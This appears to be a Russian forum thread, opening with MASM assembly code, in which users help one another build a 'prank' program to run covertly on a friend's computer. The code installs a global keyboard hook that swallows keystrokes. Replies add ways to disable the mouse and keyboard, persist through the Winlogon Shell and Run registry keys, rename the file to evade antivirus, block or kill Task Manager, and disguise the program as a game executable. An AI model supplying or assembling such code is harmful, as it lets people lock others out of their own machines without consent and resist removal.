.386
.model flat, stdcall
option casemap :none
include E:\masm32\include\windows.inc
include E:\masm32\include\kernel32.inc
include E:\masm32\include\user32.inc
include E:\masm32\include\advapi32.inc
includelib E:\masm32\lib\kernel32.lib
includelib E:\masm32\lib\user32.lib
includelib E:\masm32\lib\advapi32.lib
includelib dll.lib
extrn _imp__MesBoxy@0:dword
MesBoxy equ _imp__MesBoxy@0
.data
_1_ db "1",0
_2_ db "2",0
_3_ db "3",0
dll_way db "dll.dll",0
function_name db "MesBoxy",0
.data?
msg_ MSG <>
hook_handle db 4h dup(?)
hook_proc_handle db 4h dup(?)
.code
_start:
invoke Beep,300h,20h
;call MesBoxy
;invoke ExitProcess,0h
invoke LoadLibrary,offset dll_way
cmp eax,0h
jne gg
invoke MessageBox,0h,offset _1_,offset dll_way,MB_OK
gg:
mov esi,offset hook_handle
mov dword ptr ds:[esi],eax
invoke GetProcAddress,eax,offset function_name
cmp eax,0h
jne gog
invoke MessageBox,0h,offset _2_,offset dll_way,MB_OK
gog:
mov edx,dword ptr ds:[esi]
;invoke SetWindowsHookEx,WH_KEYBOARD,eax,offset hook_handle,0h
invoke SetWindowsHookEx,WH_KEYBOARD,eax,edx,0h
cmp eax,0h
jne goog
invoke MessageBox,0h,offset _3_,offset dll_way,MB_OK
goog:
mov esi,offset hook_proc_handle
mov dword ptr ds:[esi],eax
hook_loop:
invoke GetMessage,offset msg_,0h,0h,0h
comment @
cmp eax,0h
je exit_hook_loop
cmp eax,WM_KEYUP
jne gogo
call MesBoxy
gogo:
invoke Beep,300h,20h
jmp hook_loop
exit_hook_loop:
@
invoke ExitProcess,0h
end _start
Revenge!
Как-то недавно друг решил надо мной поиздеваться, и принес мне прогу, меняющую каждую секунду состояние CD-привода. Немного помучавшись, я ее убил, но появилось желание написать че-нить в ответ. Моя шутка должна: отрубать монитор в Do... Loop (язык VB), клаву и мышь (слышал, что это можно провернуть, запустив RunDLL32 с параметрами... но с какими?), и ныкаться в процессах. Подскажите плиз WinAPI для каждого из заданий.
А модераторы за вирь не прибьют? :D
Эт не вирь. Он же не будет распростаняться. Даже на автозапуск ставить его не буду - запихну вместо екзе какого-нить в Контре или, скажем, Варике.
Существует функция BlockInput, описание ее читай в MSDN, она отрубает клаву и мышь, НО не отрубает реакцию на нажатие Ctrl+Alt+Del, уж об этом ты сам позаботься. :о)
Нужно, чтобы отрубались ВСЕ клавиши (на мультимедийных клавах, к сожалению, есть кнопка "Закрыть").
1.В проге создай локальный Хук, поставь его в глобальную очередь
(setWindowsHookEx, WH_KEYBOARD),
2.внутри хука возвращай результат 1
(тока ниче не делай, и callNextHook не вызывай, а то ошибка доступа и слетит несколько прог)
3. Открой файл taskmgr.exe на чтение с эксклюзивными правами.
На крысу:
setWindowsHookEx-WH_MOUSE-> перехват сообщений
или
SetCursorPos->установить позичию
ClipCursor -> ограничение передвижения мыши, поставь 1 пиксель.
тока clipCursor сбивается при клике вне окна.
Посмотри HKLM\SOFTWARE\Microsoft\Windows NT\Current version\Winlogon\Shell
Там то, что появляется при загрузке юзера (explorer), пропишись там (тока не напрямую, а через rename (от антивируса) )...
И подумай, как снять, чтобы это было безобидно! :D
Цитата: Sania
Забыл:
Посмотри HKLM\SOFTWARE\Microsoft\Windows NT\Current version\Winlogon\Shell
Там то, что появляется при загрузке юзера (explorer), пропишись там (тока не напрямую, а через rename (от антивируса) )...
И подумай, как снять, чтобы это было безобидно! :D
Посмотри HKLM\SOFTWARE\Microsoft\Windows NT\Current version\Winlogon\Shell
Там то, что появляется при загрузке юзера (explorer), пропишись там (тока не напрямую, а через rename (от антивируса) )...
И подумай, как снять, чтобы это было безобидно! :D
Это для запуска?
проще будет здесь:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Можешь в отместку периодически выкатывать CDюк, прикольнее будет, если еще испугает,задев по ногам ;)
2 Sania - а попроще способа нет? времени мало, надо успеть дописать еще 2 проги.
Ни у кого нет идей насчет параметров RunDLL? Если он отрубает клаву, то всю (как девайс по-моему).
Цитата: insane88
2 Sania - а попроще способа нет? времени мало, надо успеть дописать еще 2 проги.
Да проще по-моему только шнур выдернуть. Совсем немного писать-то
оч смешно. лана, уже разобрался, скоро дружище поиграет в CS... :rolleyes: Всем спасибо!
Код:
DLL'ка:
Код:
.486
.model flat, stdcall
option casemap :none
include E:\masm32\include\windows.inc
include E:\masm32\include\kernel32.inc
include E:\masm32\include\user32.inc
include E:\masm32\include\advapi32.inc
includelib E:\masm32\lib\kernel32.lib
includelib E:\masm32\lib\user32.lib
includelib E:\masm32\lib\advapi32.lib
.data?
hInstance dd ?
.code
LibMain proc instance:DWORD,reason:DWORD,unused:DWORD
mov al,1
ret 12
LibMain endp
MesBoxy proc
invoke Beep,300h,20h
;invoke CallNextHookEx,eax,0h,0h,0h
ret
MesBoxy endp
end LibMain
.model flat, stdcall
option casemap :none
include E:\masm32\include\windows.inc
include E:\masm32\include\kernel32.inc
include E:\masm32\include\user32.inc
include E:\masm32\include\advapi32.inc
includelib E:\masm32\lib\kernel32.lib
includelib E:\masm32\lib\user32.lib
includelib E:\masm32\lib\advapi32.lib
.data?
hInstance dd ?
.code
LibMain proc instance:DWORD,reason:DWORD,unused:DWORD
mov al,1
ret 12
LibMain endp
MesBoxy proc
invoke Beep,300h,20h
;invoke CallNextHookEx,eax,0h,0h,0h
ret
MesBoxy endp
end LibMain
Если в dll'ке в функции MesBoxy нет invoke CallNextHookEx,eax,0h,0h,0h, то нажатия не будут обрабатываться и клавиатура ку-ку какбы, правда ctrl-alt-del работает! Но можно тогда по идее taskmrg.exe грохать, обрабатывая последовательность нажатия клавиш! GetModuleHandle,offset string (string="taskmrg.exe",0h)!
А потом TerminateProcess,eax,0h
Язык - Visual Besik:(
to vAC
//проще будет здесь:
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
не проще(просто другой ключ реестра)
если написать туда, то прога запуститься вместе с explorer, если в
HKLM\SOFTWARE\Microsoft\Windows NT\Current version\Winlogon\Shell,
то вместо него... При блокированном диспетчере приводит к eUserIsLoser :D
Нет, под ИксПи СП2 RunDLL32 рабоает правильно... :D уже было опробовано. Только вот какие параметры - все уже забыли.
"rundll32 keyboard,disable" - Вырубить Клавиатуру!
"rundll32 mouse,disable" - Вырубить Мышь!
Проверено XP SP2 не рубит... :(
ну, пробуем...
Фига. Изменили имя модуля. Пойду искать Dependency Walker.
RunDLL32 только и делает,что подключает к себе библиотеки и вызывает из них функции.Т.е.,если у тебя есть своя либа MyLib.dll,ты можешь вызвать функцию MyFunc следующим способом:
Код:
RunDLL32 MyLib.dll MyFunc
Так что Dependency Walker тебе не поможет
И что, мне теперь писать свою функцию на C+, Assembler'e или другом малознакомом языке только ради этой шутки? Хех, проще шнур выдернуть)
Писать?Что и зачем?Просто надо узнать имя модуля и функцию(ну,и параметры,конечно же)